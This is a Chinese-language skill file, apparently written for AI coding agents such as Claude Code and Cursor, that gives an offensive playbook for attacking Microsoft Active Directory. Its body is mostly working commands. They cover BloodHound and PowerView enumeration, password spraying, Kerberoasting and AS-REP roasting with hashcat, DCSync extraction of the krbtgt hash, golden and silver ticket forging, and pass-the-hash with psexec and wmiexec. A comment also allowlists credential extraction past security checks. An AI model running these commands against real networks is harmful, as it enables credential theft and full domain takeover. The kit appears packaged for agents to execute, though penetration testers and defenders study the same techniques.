
关于
攻击 Microsoft Active Directory 环境的全面技术。涵盖侦察、凭据收集、Kerberos 攻击、横向移动、权限提升和域控制,用于红队行动和渗透测试。
name: active-directory-attacks description: "提供攻击 Microsoft Active Directory 环境的全面技术。涵盖侦察、凭证收集、Kerberos 攻击、横向移动、权限提升和域控制,用于红队操作和渗透测试。" risk: offensive source: community author: zebbern date_added: "2026-02-27"
<!-- security-allowlist: credential-extraction, kerberos-attacks -->仅限授权使用:此技能仅用于授权的安全评估、防御验证或受控教育环境。
Active Directory 攻击
目的
提供攻击 Microsoft Active Directory 环境的全面技术。涵盖侦察、凭证收集、Kerberos 攻击、横向移动、权限提升和域控制,用于红队操作和渗透测试。
输入/前提条件
- Kali Linux 或 Windows 攻击平台
- 域用户凭证(大多数攻击需要)
- 到域控制器的网络访问
- 工具:Impacket、Mimikatz、BloodHound、Rubeus、CrackMapExec
输出/交付物
- 域枚举数据
- 提取的凭证和哈希
- 用于冒充的 Kerberos 票据
- 域管理员访问权限
- 持久化访问机制
核心工具
| 工具 | 用途 | |------|------| | BloodHound | AD 攻击路径可视化 | | Impacket | Python AD 攻击工具集 | | Mimikatz | 凭证提取 | | Rubeus | Kerberos 攻击 | | CrackMapExec | 网络利用 | | PowerView | AD 枚举 | | Responder | LLMNR/NBT-NS 投毒 |
核心工作流
步骤 1:Kerberos 时钟同步
Kerberos 要求时钟同步(误差不超过5分钟):
# Detect clock skew
nmap -sT 10.10.10.10 -p445 --script smb2-time
# Fix clock on Linux
sudo date -s "14 APR 2024 18:25:16"
# Fix clock on Windows
net time /domain /set
# Fake clock without changing system time
faketime -f '+8h' <command>
步骤 2:使用 BloodHound 进行 AD 侦察
# Start BloodHound
neo4j console
bloodhound --no-sandbox
# Collect data with SharpHound
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass
# Python collector (from Linux)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
步骤 3:PowerView 枚举
# Get domain info
Get-NetDomain
Get-DomainSID
Get-NetDomainController
# Enumerate users
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset
# Enumerate groups
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member
# Find local admin access
Find-LocalAdminAccess -Verbose
# User hunting
Invoke-UserHunter
Invoke-UserHunter -Stealth
凭证攻击
密码喷洒
# Using kerbrute
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
# Using CrackMapExec
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
Kerberoasting
提取服务账户 TGS 票据并离线破解:
# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt
# CrackMapExec
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
# Crack with hashcat
hashcat -m 13100 hashes.txt rockyou.txt
AS-REP Roasting
针对设置了"不要求 Kerberos 预认证"的账户:
# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
# Crack with hashcat
hashcat -m 18200 hashes.txt rockyou.txt
DCSync 攻击
直接从 DC 提取凭证(需要 Replicating Directory Changes 权限):
# Impacket
secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt
# Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator
Kerberos 票据攻击
票据传递(黄金票据)
使用 krbtgt 哈希为任意用户伪造 TGT:
# Get krbtgt hash via DCSync first
# Mimikatz - Create Golden Ticket
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
# Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/Administrator@dc.domain.local
白银票据
为特定服务伪造 TGS:
# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
哈希传递
# Impacket
psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
兼容工具
Claude CodeCursor
标签
安全
